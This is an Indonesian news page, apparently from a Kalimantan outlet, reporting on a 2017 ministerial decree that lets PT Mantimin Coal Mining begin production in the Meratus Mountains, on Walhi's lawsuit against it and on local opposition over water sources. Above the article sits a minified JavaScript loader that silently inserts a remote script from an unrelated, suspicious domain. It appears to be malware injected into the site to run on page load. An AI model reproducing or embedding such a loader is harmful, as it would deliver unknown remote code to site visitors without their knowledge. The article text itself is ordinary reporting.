(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Lingkungan

PT MCM, Tambang, dan Nasib Hutan Hujan Tropis Terakhir di Pegunungan Meratus


Bambang Gatot Ariyono, Direktur Jenderal Mineral dan Batubara, 4 Desember 2017, atas nama Menteri Energi dan Sumber Daya Mineral Ignasius Jonan menandatangani surat keputusan penyesuaian tahap kegiatan perjanjian karya pengusahaan pertambangan batubara PT Mantimin Coal Mining (MCM) ke tahap operasi produksi.

Keputusan menteri bernomor bernomor 441.K/30/DJB/2017 ini mendapatkan reaksi keras Walhi dengan mengajukan gugatan ke PTUN Jakata Timur, pada 28 Februari 2018.

Tim Advokasi Pengabdi Lingkungan Hidup, menggugat perizinan perusahaan seluas 5.908 hektare, yang meliputi Kabupaten Tabalong, Balangan dan Hulu Sungai Tengah, Provinsi Kalimantan Selatan.

Romli, Ketua Gerakan Penyelamat Bumi Murakata (Gembuk) mengatakan, masyarakat Hulu Sungai Tengah bersama bupati, DPRD, organisasi kemasyarakatan dan tokoh masyarakat jelas menolak izin tambang dan perkebunan sawit di Kabupaten HST. Izin keluar sama sekali tak melibatkan masyarakat daerah yang terkena operasi penambangan batubara itu.

“Hulu Sungai Tengah daerah tangkapan air dan sumber air baku bagi masyarakat untuk bertani, mandi, dan kebutuhan harian, bahkan oleh PDAM,” katanya, pada Rabu, 28 Februari 2018, dikutip dari Mongabay.

Pembukaan Pengunungan Meratus untuk tambang batubara bisa menganggu tangkapan air dan sumber air -merupakan sandaran kehidupan masyarakat di tiga kabupaten-, yakni Hulu Sungai Tengah, Tabalong dan Sungai Tengah. Dengan izin terbit, katanya, juga berpotensi pada kerusakan lingkungan, limbah perusahaan, polusi udara dan ancaman banjir.

Warga, katanya, saat ini membangun posko penolakan di pusat Kabupaten Hulu Sungai Tengah. Mereka juga menggalang petisi, dengan dukungan lebih 20.000. Dia bilang, izin keluar menunjukkan pemerintah pusat masih memberikan ruang eksploitasi bahan mentah dan sumber daya tak terbarukan untuk kebutuhan jangka pendek.

“Tuntutan kami tegas dan bulat, cabut Kepmen ini. Kami akan menjaga Pegunungan Meratus,” kata Romli.


Page: 1 2

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.